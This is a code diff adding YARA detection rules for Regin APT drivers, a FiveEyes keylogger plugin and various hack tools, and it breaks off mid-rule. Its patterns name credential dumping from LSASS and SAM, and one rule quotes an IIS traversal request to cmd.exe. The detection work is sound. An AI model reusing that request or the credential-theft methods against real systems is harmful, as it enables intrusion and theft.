+		hash = "597082f05bfd3225587d480c30f54a7a1326a892"
+	strings:
+		$s0 = "<configFileName>20120_cmdDef.xml</configFileName>" fullword ascii
+		$s1 = "<name>20120.dll</name>" fullword ascii
+		$s2 = "<codebase>\"Reserved for future use.\"</codebase>" fullword ascii
+		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
+		$s4 = "<platform type=\"1\">" fullword ascii
+		$s5 = "</plugin>" fullword ascii
+		$s6 = "</pluginConfig>" fullword ascii
+		$s7 = "<pluginConfig>" fullword ascii
+		$s8 = "</platform>" fullword ascii
+		$s9 = "</lpConfig>" fullword ascii
+		$s10 = "<lpConfig>" fullword ascii
+	condition:
+		all of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20121_cmdDef {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20121_cmdDef.xml"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "64ac06aa4e8d93ea6063eade7ce9687b1d035907"
+	strings:
+		$s0 = "<shortDescription>Keystroke Logger Plugin.</shortDescription>" fullword ascii
+		$s1 = "<message>Failed to get File Time</message>" fullword ascii
+		$s2 = "<description>Keystroke Logger Plugin.</description>" fullword ascii
+		$s3 = "<message>Failed to set File Time</message>" fullword ascii
+		$s4 = "</commands>" fullword ascii
+		$s5 = "<commands>" fullword ascii
+		$s6 = "</version>" fullword ascii
+		$s7 = "<associatedImplantId>20120</associatedImplantId>" fullword ascii
+		$s8 = "<message>No Comms. with Driver</message>" fullword ascii
+		$s9 = "</error>" fullword ascii
+		$s10 = "<message>Invalid File Size</message>" fullword ascii
+		$s11 = "<platforms>Windows (User/Win32)</platforms>" fullword ascii
+		$s12 = "<message>File Size Mismatch</message>" fullword ascii
+		$s13 = "<projectpath>plugin/Utility</projectpath>" fullword ascii
+		$s14 = "<pluginsDepend>None</pluginsDepend>" fullword ascii
+		$s15 = "<dllDepend>None</dllDepend>" fullword ascii
+		$s16 = "<pluginname>E_QwertyIM</pluginname>" fullword ascii
+		$s17 = "<rightsRequired>None</rightsRequired>" fullword ascii
+		$s18 = "<minorType>0</minorType>" fullword ascii
+		$s19 = "<code>00001002</code>" fullword ascii
+		$s20 = "<code>00001001</code>" fullword ascii
+	condition:
+		12 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/spy_regin_fiveeyes.yar b/yara-mikesxrs/Florian Roth/spy_regin_fiveeyes.yar
new file mode 100644
index 0000000..aa347aa
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/spy_regin_fiveeyes.yar	
@@ -0,0 +1,353 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2014-11-23
+	Identifier: Regin
+
+	Warning: Don't use this rule set without excluding the false positive hashes listed in 
+	         the file falsepositive-hashes.txt
+
+*/
+
+/* REGIN ---------------------------------------------------------------------------------- */
+
+rule Regin_APT_KernelDriver_Generic_A {
+	meta:
+		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
+		author = "@Malwrsignatures - included in APT Scanner THOR"
+		date = "23.11.14"
+		hash1 = "187044596bc1328efa0ed636d8aa4a5c"
+		hash2 = "06665b96e293b23acc80451abb413e50"
+		hash3 = "d240f06e98c8d3e647cbf4d442d79475"
+	strings:
+		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 } 
+		$m1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
+		
+		$s0 = "atapi.sys" fullword wide
+		$s1 = "disk.sys" fullword wide
+		$s3 = "h.data" fullword ascii
+		$s4 = "\\system32" fullword ascii
+		$s5 = "\\SystemRoot" fullword ascii
+		$s6 = "system" fullword ascii
+		$s7 = "temp" fullword ascii
+		$s8 = "windows" fullword ascii
+
+		$x1 = "LRich6" fullword ascii
+		$x2 = "KeServiceDescriptorTable" fullword ascii		
+	condition:
+		$m0 at 0 and $m1 and  	
+		all of ($s*) and 1 of ($x*)
+}
+
+rule Regin_APT_KernelDriver_Generic_B {
+	meta:
+		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
+		author = "@Malwrsignatures - included in APT Scanner THOR"
+		date = "23.11.14"
+		hash1 = "ffb0b9b5b610191051a7bdf0806e1e47"
+		hash2 = "bfbe8c3ee78750c3a520480700e440f8"
+		hash3 = "b29ca4f22ae7b7b25f79c1d4a421139d"
+		hash4 = "06665b96e293b23acc80451abb413e50"
+		hash5 = "2c8b9d2885543d7ade3cae98225e263b"
+		hash6 = "4b6b86c7fec1c574706cecedf44abded"
+		hash7 = "187044596bc1328efa0ed636d8aa4a5c"
+		hash8 = "d240f06e98c8d3e647cbf4d442d79475"
+		hash9 = "6662c390b2bbbd291ec7987388fc75d7"
+		hash10 = "1c024e599ac055312a4ab75b3950040a"
+		hash11 = "ba7bb65634ce1e30c1e5415be3d1db1d"
+		hash12 = "b505d65721bb2453d5039a389113b566"
+		hash13 = "b269894f434657db2b15949641a67532"
+	strings:
+		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 } 
+		$s1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
+		$s2 = "H.data" fullword ascii nocase
+		$s3 = "INIT" fullword ascii
+		$s4 = "ntoskrnl.exe" fullword ascii
+		
+		$v1 = "\\system32" fullword ascii
+		$v2 = "\\SystemRoot" fullword ascii
+		$v3 = "KeServiceDescriptorTable" fullword ascii	
+		
+		$w1 = "\\system32" fullword ascii
+		$w2 = "\\SystemRoot" fullword ascii		
+		$w3 = "LRich6" fullword ascii
+		
+		$x1 = "_snprintf" fullword ascii
+		$x2 = "_except_handler3" fullword ascii
+		
+		$y1 = "mbstowcs" fullword ascii
+		$y2 = "wcstombs" fullword ascii
+		$y3 = "KeGetCurrentIrql" fullword ascii
+		
+		$z1 = "wcscpy" fullword ascii
+		$z2 = "ZwCreateFile" fullword ascii
+		$z3 = "ZwQueryInformationFile" fullword ascii
+		$z4 = "wcslen" fullword ascii
+		$z5 = "atoi" fullword ascii
+	condition:
+		$m0 at 0 and all of ($s*) and 
+		( all of ($v*) or all of ($w*) or all of ($x*) or all of ($y*) or all of ($z*) ) 
+		and filesize < 20KB
+}
+
+rule Regin_APT_KernelDriver_Generic_C {
+	meta:
+		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
+		author = "@Malwrsignatures - included in APT Scanner THOR"
+		date = "23.11.14"
+		hash1 = "e0895336617e0b45b312383814ec6783556d7635"
+		hash2 = "732298fa025ed48179a3a2555b45be96f7079712"		
+	strings:
+		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 } 
+	
+		$s0 = "KeGetCurrentIrql" fullword ascii
+		$s1 = "5.2.3790.0 (srv03_rtm.030324-2048)" fullword wide
+		$s2 = "usbclass" fullword wide
+		
+		$x1 = "PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING" ascii
+		$x2 = "Universal Serial Bus Class Driver" fullword wide
+		$x3 = "5.2.3790.0" fullword wide
+		
+		$y1 = "LSA Shell" fullword wide
+		$y2 = "0Richw" fullword ascii		
+	condition:
+		$m0 at 0 and all of ($s*) and 
+		( all of ($x*) or all of ($y*) ) 
+		and filesize < 20KB
+}
+
+/* Update 27.11.14 */
+
+rule Regin_sig_svcsstat {
+	meta:
+		description = "Detects svcstat from Regin report - file svcsstat.exe_sample"
+		author = "@MalwrSignatures"
+		date = "26.11.14"
+		hash = "5164edc1d54f10b7cb00a266a1b52c623ab005e2"
+	strings:
+		$s0 = "Service Control Manager" fullword ascii
+		$s1 = "_vsnwprintf" fullword ascii
+		$s2 = "Root Agency" fullword ascii
+		$s3 = "Root Agency0" fullword ascii
+		$s4 = "StartServiceCtrlDispatcherA" fullword ascii
+		$s5 = "\\\\?\\UNC" fullword wide
+		$s6 = "%ls%ls" fullword wide
+	condition:
+		all of them and filesize < 15KB and filesize > 10KB 
+}
+
+rule Regin_Sample_1 {
+	meta:
+		description = "Auto-generated rule - file-3665415_sys"
+		author = "@MalwrSignatures"
+		date = "26.11.14"
+		hash = "773d7fab06807b5b1bc2d74fa80343e83593caf2"
+	strings:
+		$s0 = "Getting PortName/Identifier failed - %x" fullword ascii
+		$s1 = "SerialAddDevice - error creating new devobj [%#08lx]" fullword ascii
+		$s2 = "External Naming Failed - Status %x" fullword ascii
+		$s3 = "------- Same multiport - different interrupts" fullword ascii
+		$s4 = "%x occurred prior to the wait - starting the" fullword ascii
+		$s5 = "'user registry info - userPortIndex: %d" fullword ascii
+		$s6 = "Could not report legacy device - %x" fullword ascii
+		$s7 = "entering SerialGetPortInfo" fullword ascii
+		$s8 = "'user registry info - userPort: %x" fullword ascii
+		$s9 = "IoOpenDeviceRegistryKey failed - %x " fullword ascii
+		$s10 = "Kernel debugger is using port at address %X" fullword ascii
+		$s12 = "Release - freeing multi context" fullword ascii
+		$s13 = "Serial driver will not load port" fullword ascii
+		$s14 = "'user registry info - userAddressSpace: %d" fullword ascii
+		$s15 = "SerialAddDevice: Enumeration request, returning NO_MORE_ENTRIES" fullword ascii
+		$s20 = "'user registry info - userIndexed: %d" fullword ascii
+	condition:
+		all of them and filesize < 110KB and filesize > 80KB
+}
+
+rule Regin_Sample_2 {
+	meta:
+		description = "Auto-generated rule - file hiddenmod_hookdisk_and_kdbg_8949d000.bin"
+		author = "@MalwrSignatures"
+		date = "26.11.14"
+		hash = "a7b285d4b896b66fce0ebfcd15db53b3a74a0400"
+	strings:
+		$s0 = "\\SYSTEMROOT\\system32\\lsass.exe" fullword wide
+		$s1 = "atapi.sys" fullword wide
+		$s2 = "disk.sys" fullword wide
+		$s3 = "IoGetRelatedDeviceObject" fullword ascii
+		$s4 = "HAL.dll" fullword ascii
+		$s5 = "\\Registry\\Machine\\System\\CurrentControlSet\\Services" fullword ascii
+		$s6 = "PsGetCurrentProcessId" fullword ascii
+		$s7 = "KeGetCurrentIrql" fullword ascii
+		$s8 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager" wide
+		$s9 = "KeSetImportanceDpc" fullword ascii
+		$s10 = "KeQueryPerformanceCounter" fullword ascii
+		$s14 = "KeInitializeEvent" fullword ascii
+		$s15 = "KeDelayExecutionThread" fullword ascii
+		$s16 = "KeInitializeTimerEx" fullword ascii
+		$s18 = "PsLookupProcessByProcessId" fullword ascii
+		$s19 = "ExReleaseFastMutexUnsafe" fullword ascii
+		$s20 = "ExAcquireFastMutexUnsafe" fullword ascii
+	condition:
+		all of them and filesize < 40KB and filesize > 30KB
+}
+
+rule Regin_Sample_3 {
+	meta:
+		description = "Detects Regin Backdoor sample fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129"
+		author = "@Malwrsignatures"
+		date = "27.11.14"
+		hash = "fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129"		
+	strings:
+		$hd = { fe ba dc fe }
+	
+		$s0 = "Service Pack x" fullword wide
+		$s1 = "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" fullword wide
+		$s2 = "\\REGISTRY\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\HotFix" fullword wide
+		$s3 = "mntoskrnl.exe" fullword wide
+		$s4 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager\\Memory Management" fullword wide
+		$s5 = "Memory location: 0x%p, size 0x%08x" wide fullword
+		$s6 = "Service Pack" fullword wide
+		$s7 = ".sys" fullword wide
+		$s8 = ".dll" fullword wide		
+		
+		$s10 = "\\REGISTRY\\Machine\\Software\\Microsoft\\Updates" fullword wide
+		$s11 = "IoGetRelatedDeviceObject" fullword ascii
+		$s12 = "VMEM.sys" fullword ascii
+		$s13 = "RtlGetVersion" fullword wide
+		$s14 = "ntkrnlpa.exe" fullword ascii
+	condition:
+		( $hd at 0 ) and all of ($s*) and filesize > 160KB and filesize < 200KB
+}
+
+rule Regin_Sample_Set_1 {
+	meta:
+		description = "Auto-generated rule - file SHF-000052 and ndisips.sys"
+		author = "@MalwrSignatures"
+		date = "26.11.14"
+		hash1 = "8487a961c8244004c9276979bb4b0c14392fc3b8"
+		hash2 = "bcf3461d67b39a427c83f9e39b9833cfec977c61"		
+	strings:
+		$s0 = "HAL.dll" fullword ascii
+		$s1 = "IoGetDeviceObjectPointer" fullword ascii
+		$s2 = "MaximumPortsServiced" fullword wide
+		$s3 = "KeGetCurrentIrql" fullword ascii
+		$s4 = "ntkrnlpa.exe" fullword ascii
+		$s5 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager" wide
+		$s6 = "ConnectMultiplePorts" fullword wide
+		$s7 = "\\SYSTEMROOT" fullword wide
+		$s8 = "IoWriteErrorLogEntry" fullword ascii
+		$s9 = "KeQueryPerformanceCounter" fullword ascii
+		$s10 = "KeServiceDescriptorTable" fullword ascii
+		$s11 = "KeRemoveEntryDeviceQueue" fullword ascii
+		$s12 = "SeSinglePrivilegeCheck" fullword ascii
+		$s13 = "KeInitializeEvent" fullword ascii
+		$s14 = "IoBuildDeviceIoControlRequest" fullword ascii
+		$s15 = "KeRemoveDeviceQueue" fullword ascii
+		$s16 = "IofCompleteRequest" fullword ascii
+		$s17 = "KeInitializeSpinLock" fullword ascii
+		$s18 = "MmIsNonPagedSystemAddressValid" fullword ascii
+		$s19 = "IoCreateDevice" fullword ascii
+		$s20 = "KefReleaseSpinLockFromDpcLevel" fullword ascii
+	condition:
+		all of them and filesize < 40KB and filesize > 30KB
+}
+
+rule Regin_Sample_Set_2 {
+	meta:
+		description = "Detects Regin Backdoor sample 4139149552b0322f2c5c993abccc0f0d1b38db4476189a9f9901ac0d57a656be and e420d0cf7a7983f78f5a15e6cb460e93c7603683ae6c41b27bf7f2fa34b2d935"
+		author = "@MalwrSignatures"
+		date = "27.11.14"
+		hash1 = "4139149552b0322f2c5c993abccc0f0d1b38db4476189a9f9901ac0d57a656be"
+		hash2 = "e420d0cf7a7983f78f5a15e6cb460e93c7603683ae6c41b27bf7f2fa34b2d935"
+	strings:
+		$hd = { fe ba dc fe }
+	
+		$s0 = "d%ls%ls" fullword wide
+		$s1 = "\\\\?\\UNC" fullword wide
+		$s2 = "Software\\Microsoft\\Windows\\CurrentVersion" fullword wide
+		$s3 = "\\\\?\\UNC\\" fullword wide
+		$s4 = "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" fullword wide
+		$s5 = "System\\CurrentControlSet\\Services\\Tcpip\\Linkage" wide fullword
+		$s6 = "\\\\.\\Global\\%s" fullword wide
+		$s7 = "temp" fullword wide
+		$s8 = "\\\\.\\%s" fullword wide
+		$s9 = "Memory location: 0x%p, size 0x%08x" fullword wide		
+		
+		$s10 = "sscanf" fullword ascii
+		$s11 = "disp.dll" fullword ascii
+		$s12 = "%x:%x:%x:%x:%x:%x:%x:%x%c" fullword ascii
+		$s13 = "%d.%d.%d.%d%c" fullword ascii
+		$s14 = "imagehlp.dll" fullword ascii
+		$s15 = "%hd %d" fullword ascii
+	condition:
+		( $hd at 0 ) and all of ($s*) and filesize < 450KB and filesize > 360KB
+}
+
+rule apt_regin_legspin {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect Regin's Legspin module"
+	    version = "1.0"
+	    last_modified = "2015-01-22"
+	    reference = "https://securelist.com/blog/research/68438/an-analysis-of-regins-hopscotch-and-legspin/"
+	    md5 = "29105f46e4d33f66fee346cfd099d1cc"
+	strings:
+	    $mz="MZ"
+	    $a1="sharepw"
+	    $a2="reglist"
+	    $a3="logdump"
+	    $a4="Name:" wide
+	    $a5="Phys Avail:"
+	    $a6="cmd.exe" wide
+	    $a7="ping.exe" wide
+	    $a8="millisecs"
+	condition:
+	    ($mz at 0) and all of ($a*)
+}
+
+rule apt_regin_hopscotch {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect Regin's Hopscotch module"
+	    version = "1.0"
+	    last_modified = "2015-01-22"
+	    reference = "https://securelist.com/blog/research/68438/an-analysis-of-regins-hopscotch-and-legspin/"
+	    md5 = "6c34031d7a5fc2b091b623981a8ae61c"
+	strings:
+
+	    $mz="MZ"
+
+	    $a1="AuthenticateNetUseIpc"
+	    $a2="Failed to authenticate to"
+	    $a3="Failed to disconnect from"
+	    $a4="%S\\ipc$" wide
+	    $a5="Not deleting..."
+	    $a6="CopyServiceToRemoteMachine"
+	    $a7="DH Exchange failed"
+	    $a8="ConnectToNamedPipes"
+	condition:
+	    ($mz at 0) and all of ($a*)
+}
+
+rule Regin_Related_Malware {
+	meta:
+		description = "Malware Sample - maybe Regin related"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "76c355bfeb859a347e38da89e3d30a6ff1f94229"
+	strings:
+		$s1 = "%c%s%c -p %d -e %d -pv -c \"~~[%x] s; .%c%c%s %s /u %s_%d.dmp; q\"" fullword wide /* score: '22.015' */
+
+		$s0 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\HotFix" fullword wide /* PEStudio Blacklist: os */ /* score: '26.02' */
+		$s2 = "%x:%x:%x:%x:%x:%x:%x:%x%c" fullword ascii /* score: '13.01' */
+		$s3 = "disp.dll" fullword ascii /* score: '11.01' */
+		$s4 = "msvcrtd.dll" fullword ascii /* score: '11.005' */
+		$s5 = "%d.%d.%d.%d%c" fullword ascii /* score: '11.0' */
+		$s6 = "%ls_%08x" fullword wide /* score: '8.0' */
+		$s8 = "d%ls%ls" fullword wide /* score: '7.005' */
+		$s9 = "Memory location: 0x%p, size 0x%08x" fullword wide /* score: '6.025' */
+	condition:
+		$s1 or 3 of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/thor-hacktools.yar b/yara-mikesxrs/Florian Roth/thor-hacktools.yar
new file mode 100644
index 0000000..11de089
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/thor-hacktools.yar	
@@ -0,0 +1,3324 @@
+/*
+
+   THOR APT Scanner - Hack Tool Extract
+   This rulset is a subset of all hack tool rules included in our
+   APT Scanner THOR - the full featured APT scanner.
+
+   We will frequently update this file with new rules rated TLP:WHITE
+
+   Florian Roth
+   BSK Consulting GmbH
+   Web: bsk-consulting.de
+
+   revision: 20150510
+
+   License: Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0)
+	Copyright and related rights waived via https://creativecommons.org/licenses/by-nc-sa/4.0/
+
+*/
+
+/* WCE */
+
+rule WindowsCredentialEditor
+{
+    meta:
+    	description = "Windows Credential Editor"
+      threat_level = 10
+      score = 90
+    strings:
+		$a = "extract the TGT session key"
+		$b = "Windows Credentials Editor"
+    condition:
+    	all of them
+}
+
+rule Amplia_Security_Tool
+{
+    meta:
+		description = "Amplia Security Tool"
+		score = 60
+		nodeepdive = 1
+    strings:
+		$a = "Amplia Security"
+		$b = "Hernan Ochoa"
+		$c = "getlsasrvaddr.exe"
+		$d = "Cannot get PID of LSASS.EXE"
+		$e = "extract the TGT session key"
+		$f = "PPWDUMP_DATA"
+    condition: 1 of them
+}
+
+/* pwdump/fgdump */
+
+rule PwDump
+{
+	meta:
+		description = "PwDump 6 variant"
+		author = "Marc Stroebel"
+		date = "2014-04-24"
+		score = 70
+	strings:
+		$s5 = "Usage: %s [-x][-n][-h][-o output_file][-u user][-p password][-s share] machineNa"
+		$s6 = "Unable to query service status. Something is wrong, please manually check the st"
+		$s7 = "pwdump6 Version %s by fizzgig and the mighty group at foofus.net" fullword
+	condition:
+		all of them
+}
+
+rule PScan_Portscan_1 {
+	meta:
+		description = "PScan - Port Scanner"
+		author = "F. Roth"
+		score = 50
+	strings:
+		$a = "00050;0F0M0X0a0v0}0"
+		$b = "vwgvwgvP76"
+		$c = "Pr0PhOFyP"
+	condition:
+		all of them
+}
+
+rule HackTool_Samples {
+	meta:
+		description = "Hacktool"
+		score = 50
+	strings:
+		$a = "Unable to uninstall the fgexec service"
+		$b = "Unable to set socket to sniff"
+		$c = "Failed to load SAM functions"
+		$d = "Dump system passwords"
+		$e = "Error opening sam hive or not valid file"
+		$f = "Couldn't find LSASS pid"
+		$g = "samdump.dll"
+		$h = "WPEPRO SEND PACKET"
+		$i = "WPE-C1467211-7C89-49c5-801A-1D048E4014C4"
+		$j = "Usage: unshadow PASSWORD-FILE SHADOW-FILE"
+		$k = "arpspoof\\Debug"
+		$l = "Success: The log has been cleared"
+		$m = "clearlogs [\\\\computername"
+		$n = "DumpUsers 1."
+		$o = "dictionary attack with specified dictionary file"
+		$p = "by Objectif Securite"
+		$q = "objectif-securite"
+		$r = "Cannot query LSA Secret on remote host"
+		$s = "Cannot write to process memory on remote host"
+		$t = "Cannot start PWDumpX service on host"
+		$u = "usage: %s <system hive> <security hive>"
+		$v = "username:domainname:LMhash:NThash"
+		$w = "<server_name_or_ip> | -f <server_list_file> [username] [password]"
+		$x = "Impersonation Tokens Available"
+		$y = "failed to parse pwdump format string"
+		$z = "Dumping password"
+	condition:
+		1 of them
+}
+
+rule HackTool_Producers {
+	meta: description = "Hacktool Producers String"
+   threat_level = 5
+   score = 50
+   nodeepdive = 1
+	strings:
+	$a1 = "www.oxid.it"
+	$a2 = "www.analogx.com"
+	$a3 = "ntsecurity.nu"
+	$a4 = "gentilkiwi.com"
+	$a6 = "Marcus Murray"
+	condition:
+	1 of ($a*) and
+	not extension contains ".ini" and
+	not extension contains ".xml" and
+	not extension contains ".sqlite"
+}
+
+/* Disclosed hack tool set */
+
+rule Fierce2
+{
+	meta:
+		author = "Florian Roth"
+		description = "This signature detects the Fierce2 domain scanner"
+		date = "07/2014"
+		score = 60
+	strings:
+		$s1 = "$tt_xml->process( 'end_domainscan.tt', $end_domainscan_vars,"
+	condition:
+		1 of them
+}
+
+rule Ncrack
+{
+	meta:
+		author = "Florian Roth"
+		description = "This signature detects the Ncrack brute force tool"
+		date = "07/2014"
+		score = 60
+	strings:
+		$s1 = "NcrackOutputTable only supports adding up to 4096 to a cell via"
+	condition:
+		1 of them
+}
+
+rule SQLMap
+{
+	meta:
+		author = "Florian Roth"
+		description = "This signature detects the SQLMap SQL injection tool"
+		date = "07/2014"
+		score = 60
+	strings:
+		$s1 = "except SqlmapBaseException, ex:"
+	condition:
+		1 of them
+}
+
+rule PortScanner {
+	meta:
+		description = "Auto-generated rule on file PortScanner.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "b381b9212282c0c650cb4b0323436c63"
+	strings:
+		$s0 = "Scan Ports Every"
+		$s3 = "Scan All Possible Ports!"
+	condition:
+		all of them
+}
+
+rule DomainScanV1_0 {
+	meta:
+		description = "Auto-generated rule on file DomainScanV1_0.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "aefcd73b802e1c2bdc9b2ef206a4f24e"
+	strings:
+		$s0 = "dIJMuX$aO-EV"
+		$s1 = "XELUxP\"-\\"
+		$s2 = "KaR\"U'}-M,."
+		$s3 = "V.)\\ZDxpLSav"
+		$s4 = "Decompress error"
+		$s5 = "Can't load library"
+		$s6 = "Can't load function"
+		$s7 = "com0tl32:.d"
+	condition:
+		all of them
+}
+
+rule MooreR_Port_Scanner {
+	meta:
+		description = "Auto-generated rule on file MooreR Port Scanner.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "376304acdd0b0251c8b19fea20bb6f5b"
+	strings:
+		$s0 = "Description|"
+		$s3 = "soft Visual Studio\\VB9yp"
+		$s4 = "adj_fptan?4"
+		$s7 = "DOWS\\SyMem32\\/o"
+	condition:
+		all of them
+}
+
+rule NetBIOS_Name_Scanner {
+	meta:
+		description = "Auto-generated rule on file NetBIOS Name Scanner.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "888ba1d391e14c0a9c829f5a1964ca2c"
+	strings:
+		$s0 = "IconEx"
+		$s2 = "soft Visual Stu"
+		$s4 = "NBTScanner!y&"
+	condition:
+		all of them
+}
+
+rule FeliksPack3___Scanners_ipscan {
+	meta:
+		description = "Auto-generated rule on file ipscan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "6c1bcf0b1297689c8c4c12cc70996a75"
+	strings:
+		$s2 = "WCAP;}ECTED"
+		$s4 = "NotSupported"
+		$s6 = "SCAN.VERSION{_"
+	condition:
+		all of them
+}
+
+rule CGISscan_CGIScan {
+	meta:
+		description = "Auto-generated rule on file CGIScan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "338820e4e8e7c943074d5a5bc832458a"
+	strings:
+		$s1 = "Wang Products" fullword wide
+		$s2 = "WSocketResolveHost: Cannot convert host address '%s'"
+		$s3 = "tcp is the only protocol supported thru socks server"
+	condition:
+		all of ($s*)
+}
+
+rule IP_Stealing_Utilities {
+	meta:
+		description = "Auto-generated rule on file IP Stealing Utilities.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "65646e10fb15a2940a37c5ab9f59c7fc"
+	strings:
+		$s0 = "DarkKnight"
+		$s9 = "IPStealerUtilities"
+	condition:
+		all of them
+}
+
+rule SuperScan4 {
+	meta:
+		description = "Auto-generated rule on file SuperScan4.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "78f76428ede30e555044b83c47bc86f0"
+	strings:
+		$s2 = " td class=\"summO1\">"
+		$s6 = "REM'EBAqRISE"
+		$s7 = "CorExitProcess'msc#e"
+	condition:
+		all of them
+
+}
+rule PortRacer {
+	meta:
+		description = "Auto-generated rule on file PortRacer.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "2834a872a0a8da5b1be5db65dfdef388"
+	strings:
+		$s0 = "Auto Scroll BOTH Text Boxes"
+		$s4 = "Start/Stop Portscanning"
+		$s6 = "Auto Save LogFile by pressing STOP"
+	condition:
+		all of them
+}
+
+rule scanarator {
+	meta:
+		description = "Auto-generated rule on file scanarator.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "848bd5a518e0b6c05bd29aceb8536c46"
+	strings:
+		$s4 = "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
+	condition:
+		all of them
+}
+
+rule aolipsniffer {
+	meta:
+		description = "Auto-generated rule on file aolipsniffer.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "51565754ea43d2d57b712d9f0a3e62b8"
+	strings:
+		$s0 = "C:\\Program Files\\Microsoft Visual Studio\\VB98\\VB6.OLB"
+		$s1 = "dwGetAddressForObject"
+		$s2 = "Color Transfer Settings"
+		$s3 = "FX Global Lighting Angle"
+		$s4 = "Version compatibility info"
+		$s5 = "New Windows Thumbnail"
+		$s6 = "Layer ID Generator Base"
+		$s7 = "Color Halftone Settings"
+		$s8 = "C:\\WINDOWS\\SYSTEM\\MSWINSCK.oca"
+	condition:
+		all of them
+}
+
+rule _Bitchin_Threads_ {
+	meta:
+		description = "Auto-generated rule on file =Bitchin Threads=.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "7491b138c1ee5a0d9d141fbfd1f0071b"
+	strings:
+		$s0 = "DarKPaiN"
+		$s1 = "=BITCHIN THREADS"
+	condition:
+		all of them
+}
+
+rule cgis4_cgis4 {
+	meta:
+		description = "Auto-generated rule on file cgis4.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "d658dad1cd759d7f7d67da010e47ca23"
+	strings:
+		$s0 = ")PuMB_syJ"
+		$s1 = "&,fARW>yR"
+		$s2 = "m3hm3t_rullaz"
+		$s3 = "7Projectc1"
+		$s4 = "Ten-GGl\""
+		$s5 = "/Moziqlxa"
+	condition:
+		all of them
+}
+
+rule portscan {
+	meta:
+		description = "Auto-generated rule on file portscan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "a8bfdb2a925e89a281956b1e3bb32348"
+	strings:
+		$s5 = "0    :SCAN BEGUN ON PORT:"
+		$s6 = "0    :PORTSCAN READY."
+	condition:
+		all of them
+}
+
+rule ProPort_zip_Folder_ProPort {
+	meta:
+		description = "Auto-generated rule on file ProPort.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "c1937a86939d4d12d10fc44b7ab9ab27"
+	strings:
+		$s0 = "Corrupt Data!"
+		$s1 = "K4p~omkIz"
+		$s2 = "DllTrojanScan"
+		$s3 = "GetDllInfo"
+		$s4 = "Compressed by Petite (c)1999 Ian Luck."
+		$s5 = "GetFileCRC32"
+		$s6 = "GetTrojanNumber"
+		$s7 = "TFAKAbout"
+	condition:
+		all of them
+}
+
+rule StealthWasp_s_Basic_PortScanner_v1_2 {
+	meta:
+		description = "Auto-generated rule on file StealthWasp's Basic PortScanner v1.2.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "7c0f2cab134534cd35964fe4c6a1ff00"
+	strings:
+		$s1 = "Basic PortScanner"
+		$s6 = "Now scanning port:"
+	condition:
+		all of them
+}
+
+rule BluesPortScan {
+	meta:
+		description = "Auto-generated rule on file BluesPortScan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "6292f5fc737511f91af5e35643fc9eef"
+	strings:
